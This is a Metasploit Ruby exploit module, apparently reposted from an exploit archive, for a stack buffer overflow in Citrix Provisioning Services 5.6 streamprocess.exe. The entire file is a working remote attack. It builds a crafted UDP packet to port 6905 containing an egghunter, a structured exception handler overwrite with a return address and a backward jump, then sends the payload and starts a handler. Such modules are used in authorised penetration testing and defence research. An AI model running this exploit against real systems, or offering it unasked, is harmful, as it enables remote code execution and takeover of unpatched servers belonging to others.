Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow

##
# $Id: citrix_streamprocess.rb 13042 2011-06-27 18:00:12Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::Egghunter
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.
                By sending a specially crafted packet to the Provisioning Services server, a fixed
                length buffer on the stack can be overflowed and arbitrary code can be executed.
            },
            'Author'         => 'mog',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13042 $',
            'References'     =>
                [
                    [ 'OSVDB', '70597'],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-023/' ],
                    [ 'URL', 'http://secunia.com/advisories/42954/' ],
                    [ 'URL', 'http://support.citrix.com/article/CTX127149' ],
                ],
            'DefaultOptions' =>
                {
                    # best at delaying/preventing target crashing post-exploit
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # pop/pop/ret in streamprocess.exe
                    # Service runs and automatically shuts down in Win 7
                    [ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],
                ],
            'Privileged'     => true,
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 20 2011'))
 
        register_options([Opt::RPORT(6905)], self.class)
    end
 
    def exploit
 
        eggoptions =
        {
            :checksum  => true,
            :eggtag    => 'W00t',
        }
        hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
 
        sploit = "\x10\x00\x02\x40"  # message type
        sploit << rand_text_alpha_upper(30)
        sploit << "\x00\x01\x00\x00" # length field
        sploit << rand_text_alpha_upper(400)
        sploit << hunter
        sploit << rand_text_alpha_upper(64 - hunter.length)
 
        sploit << "\xEB\xBE"                # Jump back 66 bytes to hunter because there's
        sploit << rand_text_alpha_upper(2)  # only 24 bytes of cyclic copy after ret
        sploit << [target.ret].pack('V')    # SE handler
 
        sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack
        sploit << egg                       # Payload has a whole page to itself
 
        print_status("Trying target #{target.name}...")
 
        connect_udp
        udp_sock.put(sploit)
        print_status("Exploit sent, wait for egghunter.")
        select(nil, nil, nil, 4) # takes about 8 seconds in tests
 
        handler(udp_sock)
        disconnect_udp
    end
 
end



#  0day.today [2018-02-06]  #